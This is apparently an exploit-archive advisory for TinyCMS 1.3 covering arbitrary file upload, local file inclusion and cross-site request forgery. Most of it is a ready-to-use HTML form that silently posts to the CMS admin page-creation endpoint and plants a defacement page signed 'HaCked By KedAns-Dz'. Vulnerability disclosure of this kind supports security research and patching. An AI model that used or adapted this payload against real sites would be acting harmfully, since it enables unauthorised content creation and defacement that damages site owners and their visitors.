TinyCMS 1.3 - Arbitrary File Upload / Cross-Site Request Forgery

source: https://www.securityfocus.com/bid/53761/info

TinyCMS is prone to multiple local file-include vulnerabilities and an arbitrary-file-upload vulnerability.

An attacker can exploit these issues to upload arbitrary files onto the web server, execute arbitrary local files within the context of the web server, and obtain sensitive information.

TinyCMS 1.3 is vulnerable; other versions may also be affected. 

<form action='http://www.example.com/inc/functions.php?view=admin&do=pages&create=new&save=1' method='post'>
<strong>Page Title :</strong>
<input type="text" name="title" size="50" value='Happy Milw0rm 1337day !'>
<textarea id="elm1" name="page">
<center>
<h1> HaCked By KedAns-Dz </h1>
<h2> Happy Milw0rm 1337-Day All Hax0rS ^.^ </h2>
<h3> Greetings t0 KeyStr0ke + JF and All 0ld School ( The Milw0rm ) </h3>
</center>
&lt;/textarea&gt;
<input type='submit' value='Upload Page'>
</form>